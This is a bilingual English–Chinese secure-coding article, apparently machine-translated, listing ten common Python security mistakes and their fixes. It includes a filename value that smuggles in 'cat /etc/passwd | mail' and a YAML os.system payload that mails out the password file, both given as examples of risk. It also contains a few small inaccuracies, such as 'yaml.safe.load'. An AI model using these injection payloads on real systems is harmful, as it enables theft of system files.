python 验证漏洞
Writing a safe and secure code is difficult. When developing software, you often concentrate on how it should be applied. But in the context of security, the first thing to think about is how your software can be misused. Python is not perfect — even standard libraries can have substandard methods built-in.
编写安全代码很困难。 在开发软件时,您通常会专注于应如何应用它。 但是,在安全的情况下,要考虑的第一件事是你的软件是如何被滥用。 Python并不是完美的-即使标准库也可以内置不合标准的方法。
This article discusses the most common mistakes made when developing applications in Python.
本文讨论了在Python中开发应用程序时最常见的错误。
1.注射 (1. Injections)
Injection attacks have a wide range of effects, are very common and there are many variations. Neither language nor frameworks interfere with them.
注入攻击具有广泛的影响,非常普遍,并且有很多变化。 两种语言或框架都不会干扰它们。
SQL injection is an attack aimed at a web application that constructs an SQL statement from user input, which leads to the execution of database queries that are illegitimate from the software point of view. Sometimes it is mistakenly believed that just escaping quotes is the solution to the problem, but in reality, it is not.
SQL注入是针对针对Web应用程序的攻击,该Web应用程序根据用户输入构造SQL语句,从而导致执行从软件角度来看是非法的数据库查询。 有时错误地认为,仅转义引号是解决问题的方法,但实际上并非如此。
Command injection is a type of attack aimed at executing arbitrary commands in the server OS. It is made in the calling process through popen
, subprocess
, os.system
when used as arguments to the values stored in variables of the program.
命令注入是一种攻击,旨在在服务器OS中执行任意命令。 它是通过在调用方法制备popen
, subprocess
, os.system
作为参数存储在程序变量的值中使用时。
Imagine you need to write a function to transcode the specified video file to a different format. We ask the user where to find this file on disk, and then run ffmpeg
to convert. What could go wrong?
假设您需要编写一个函数来将指定的视频文件转码为其他格式。 我们询问用户在磁盘上哪里可以找到此文件,然后运行ffmpeg
进行转换。 可能出什么问题了?
An attacker can replace it filename
with "; cat /etc/passwd | mail [email protected]
or with something equally dangerous.
攻击者可以将filename
替换为"; cat /etc/passwd | mail [email protected]
或同等危险的文件。
解 (Solution)
Run user input through the built-in tools of the framework you are using. Do not execute SQL queries directly against the database unless there is a clear reason. Most modern ORMs have built-in protection against various kinds of injection.
通过您正在使用的框架的内置工具运行用户输入。 除非有明确的原因,否则不要直接对数据库执行SQL查询。 大多数现代ORM具有针对各种注入的内置保护。
For user input use shlex
. It escapes all unwanted characters.
对于用户输入,请使用shlex
。 它转义了所有不需要的字符。
2.解析XML (2. Parsing XML)
If your application interacts with XML files in any way, you are probably using the XML standard library. There are several common XML attacks. For the most part, these are DoS attacks (carried out with the aim of undermining the stability of the system, rather than stealing data). They are more dangerous when parsing external (ie, unverified) XML files. We also recommend that you read the XML Application Attack Reference.
如果您的应用程序以任何方式与XML文件交互,则您可能正在使用XML标准库。 有几种常见的XML攻击。 在大多数情况下,这些是DoS攻击(旨在破坏系统的稳定性,而不是窃取数据)。 当解析外部(即,未经验证的)XML文件时,它们更加危险。 我们还建议您阅读 XML应用程序攻击参考。
The Billion Laughs attack, also known as XML Exponential Expansion, uses multiple nested layers. Each entity refers several times to another of the same, and its final definition contains a small line. Exponential expansion results in several gigabytes of text and consumes an inordinate amount of RAM and CPU time. Below is an example of such an attack.
Billion Laughs攻击(也称为XML指数扩展)使用多个嵌套层。 每个实体多次引用相同的另一个实体,其最终定义包含一条细线。 指数扩展会导致数千兆字节的文本,并消耗大量的RAM和CPU时间。 以下是这种攻击的示例。
Another type of attack uses the extension of external entities. XML supports entity references from external URLs. The XML parser usually requests and loads this resource without any questions. An attacker can bypass firewalls and gain access to limited resources since all requests will be made as if from an internal and reliable IP address, and not from the outside.
另一种攻击类型是使用外部实体的扩展。 XML支持来自外部URL的实体引用。 XML解析器通常会毫无疑问地请求并加载此资源。 攻击者可以绕过防火墙并获得对有限资源的访问权限,因为所有请求都将像是从内部可靠的IP地址发出,而不是从外部发出。
Third-party packages — dependencies for decoding XML files (configuration files or remote APIs) are another situation worth considering. You may not even be aware that your dependencies are open to these types of attacks.
第三方程序包-解码XML文件(配置文件或远程API)的依赖项是另一个值得考虑的情况。 您甚至可能不知道自己的依赖项容易受到这些类型的攻击。
What’s going on in Python? Standard library modules — etree
, xmlrpc
, DOM
— are vulnerable to these types of attacks.
Python发生了什么? 标准库模块etree
, xmlrpc
和DOM
容易受到这些类型的攻击。
解 (Solution)
Use defusedxml as a replacement for standard library modules. This will protect against the above types of attacks.
使用defusedxml代替标准库模块。 这样可以防止上述类型的攻击。
3. assert命令 (3. The assert command)
Do not use the command assert
to protect against pieces of code that users should not have access to. Take a look at the simple example below.
不要使用命令assert
来防止用户不应访问的代码段。 看下面的简单例子。
The default is __debug__
set to True
. However, in production, optimizations are often made, including setting a value False
for __debug__
. As a result, your commands assert
will not work and will allow an attacker to navigate to the protected code regardless of the user's authority.
默认是__debug__
设置为True
。 但是,在生产中经常进行优化,包括为__debug__
设置值False
。 结果,您的命令assert
将不起作用,并且将使攻击者无论用户的权限如何均可导航到受保护的代码。
解 (Solution)
Use the command assert
only to communicate with other developers about invariants in your code.
仅使用命令assert
来与其他开发人员就代码中的不变量进行沟通。
4.时间攻击 (4. Time Attack)
Time attack is a method of figuring out how an algorithm works by measuring the time required to process various values. Timing attacks are ineffective when working in a remote network with high latency, as they require accuracy. Due to the variable latency that exists in many web applications, it is nearly impossible to perform a timing attack on HTTP servers.
时间攻击是一种通过测量处理各种值所需的时间来弄清楚算法如何工作的方法。 在具有高延迟的远程网络中工作时,定时攻击无效,因为它们需要准确性。 由于许多Web应用程序中存在可变的延迟,因此几乎不可能对HTTP服务器执行定时攻击。
But if your application asks for a password, for example, via the command line, then it is vulnerable to this kind of attack. An attacker can write a simple script to estimate the time it takes to compare the entered and stored secret. Check out the example on GitHub.
但是,如果您的应用程序(例如,通过命令行)要求输入密码,则它很容易受到这种攻击。 攻击者可以编写一个简单的脚本来估计比较输入的密码和存储的密码所需的时间。 在GitHub上查看示例。
解 (Solution)
Use the module secrets.compare_digest
introduced in Python 3.5 to validate passwords and other private values.
使用Python 3.5中引入的secrets.compare_digest
模块来验证密码和其他私有值。
5.混乱的site-packages目录或导入路径 (5. The cluttered site-packages directory or import path)
The import system in Python is very flexible. This is great if you’re trying to write monkey patches or change some of the core functionality. However, this is also one of the biggest security holes in Python.
Python的导入系统非常灵活。 如果您要编写猴子补丁或更改某些核心功能,则非常好。 但是,这也是Python中最大的安全漏洞之一。
Installing third-party packages in site-packages
, whether in a virtual environment or in a global folder (which is generally discouraged), opens up potential security holes that may lurk in those packages.
将第三方程序包安装在site-packages
,无论是在虚拟环境中还是在全局文件夹中(通常不建议这样做),都会打开潜在的安全漏洞,而这些漏洞可能会潜伏在这些程序包中。
There have been cases of publishing packages to PyPI with names similar to other popular packages that executed arbitrary code. The loudest incident, fortunately, did not cause harm but indicated that there was a problem and, alas, it was being ignored.
曾经有过将软件包发布到PyPI的案例,这些软件包的名称类似于执行任意代码的其他流行软件包。 幸运的是,最响亮的事件并未造成伤害,但表明存在问题,可惜,它被忽略了。
Another interesting situation is your dependencies (and beyond). They can contain vulnerabilities and can override the specified behavior in Python through the import system.
另一个有趣的情况是您的依赖关系(及以后)。 它们可能包含漏洞,并且可以通过导入系统覆盖Python中的指定行为。
解 (Solution)
Select and test the packages used in the project carefully. You can pay attention to the PyUp.io service (the free plan is enough). Use a virtual testing environment for all applications to ensure that the global directory site-packagers
is as clean as possible. Verify package digital signatures.
仔细选择并测试项目中使用的软件包。 您可以注意PyUp.io服务(免费计划就足够了)。 对所有应用程序使用虚拟测试环境,以确保全局目录site-packagers
程序尽可能干净。 验证软件包数字签名。
6.临时文件 (6. Temporary files)
To create temporary files, you usually generate a file name using a function mktemp()
, and then create the file itself with the generated name. This is unsafe - another process can create a file with this name in the time between the call to the function mktemp()
and the next attempt to create the file by the first process. This can cause your application to load or incorrect data or show other temporary files.
要创建临时文件,通常使用函数 mktemp()
生成文件名,然后使用生成的名称创建文件本身。 这是不安全的-另一个进程可以在调用函数mktemp()
到第一个进程下一次尝试创建文件之间的时间内创建一个具有该名称的文件。 这可能导致您的应用程序加载或错误的数据或显示其他临时文件。
解 (Solution)
Use tempfile.mkstemp
to generate temporary files.
使用tempfile.mkstemp
生成临时文件。
7.使用“ yaml.load” (7. Using `yaml.load`)
Let’s refer to the quote from the PyYAML documentation :
让我们参考PyYAML 文档中的引用:
Warning: a call
yaml.load
with any data received from an untrusted source is unsafe.yaml.load
as advanced aspickle.load
and can call any Python function.警告:呼叫
yaml.load
从不可信来源收到的任何数据都是不安全的。yaml.load
与pickle.load
一样高级,可以调用任何Python函数。
The example below was found in the Ansible configuration management system. This value could be passed to Ansible Vault as (correct) YAML. It calls a function os.system()
with the parameters provided in the file.
下面的例子中,发现在Ansible配置管理系统。 该值可以作为(正确的)YAML传递给Ansible Vault。 它使用文件中提供的参数调用函数os.system()
。
!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]
So loading YAML files from custom values actually leaves a security hole.
因此从自定义值加载YAML文件实际上会留下一个安全漏洞。
解 (Solution)
Use yaml.safe.load
.
使用yaml.safe.load
。
8.使用泡菜 (8. Using pickle)
Deserializing data via pickle is just as dangerous as YAML. Classes in Python can declare a magic method called __reduce__
that returns a string or tuple, or arguments to call when using pickle. An attacker could use this to include links to one of the subprocess modules to execute arbitrary commands on the server-side.
通过pickle反序列化数据与YAML一样危险。 Python中的类可以声明一个称为__reduce__
的魔术方法,该方法返回字符串或元组,或使用pickle时要调用的参数。 攻击者可能会使用它来包含到子流程模块之一的链接,以在服务器端执行任意命令。
This great example shows how you can package a class using pickle, which opens a command shell in Python 2. There are many more examples of how pickle
can be exploited.
这很好的例子展示了如何打包使用类咸菜,这将打开在Python 2 shell命令有许多更多的例子 ,如何pickle
可以被利用。
解 (Solution)
Never deserialize data from an untrusted source using pickle. Use a different serialization pattern like JSON.
切勿使用pickle反序列化来自不受信任来源的数据。 使用不同的序列化模式,例如JSON。
9.使用旧版Python运行时 (9. Using the legacy Python runtime)
Many POSIX systems ship with Python 2 (old version).
许多POSIX系统都随附Python 2(旧版本)。
Since Python (more precisely CPython) is written in C, there are times when the built-in interpreter itself has security holes. Common safety issues in C are related to memory allocation and buffer overflow errors.
由于Python(更确切地说是CPython)是用C编写的,因此内置解释器本身有时会存在安全漏洞。 C语言中的常见安全问题与内存分配和缓冲区溢出错误有关。
CPython has had buffer overflow and overflow vulnerabilities over the years, but each has been fixed in subsequent releases. So it’s okay. You just need to update.
多年来,CPython一直存在缓冲区溢出和溢出漏洞,但每个漏洞在后续发行版中已得到修复。 所以没关系。 您只需要更新。
Take a look at the example from version 2.7.13 and earlier. An integer overflow vulnerability allowed arbitrary code execution.
看一下2.7.13及更早版本中的示例 。 一个整数溢出漏洞允许任意代码执行。
解 (Solution)
Install the latest version of Python and keep updates.
安装最新版本的Python并保持更新。
10.使用过时的第三方库 (10. Using outdated third-party libraries)
Like the runtime, dependencies also need updates.
像运行时一样,依赖项也需要更新。
There is a practice of pinning versions of PyPI packages that are “stable and working well”. But that’s not always good. After all, there are vulnerabilities in packages to this day, and the developers fix them. All the time, something is improving in terms of safety.
有一种做法是固定“稳定且运行良好”的PyPI软件包版本。 但这并不总是很好。 毕竟,到目前为止,软件包中都存在漏洞,开发人员可以修复它们。 一直以来,安全性已有所改善。
解 (Solution)
Use services to check for updates, run tests, and keep packages up to date.
使用服务来检查更新,运行测试并保持软件包为最新。
Use tools like InSpec to check installed packages.
使用InSpec之类的工具来检查已安装的软件包。
翻译自: https://medium.com/python-in-plain-english/top-10-security-holes-python-developer-should-be-afraid-of-4deedaba0892
python 验证漏洞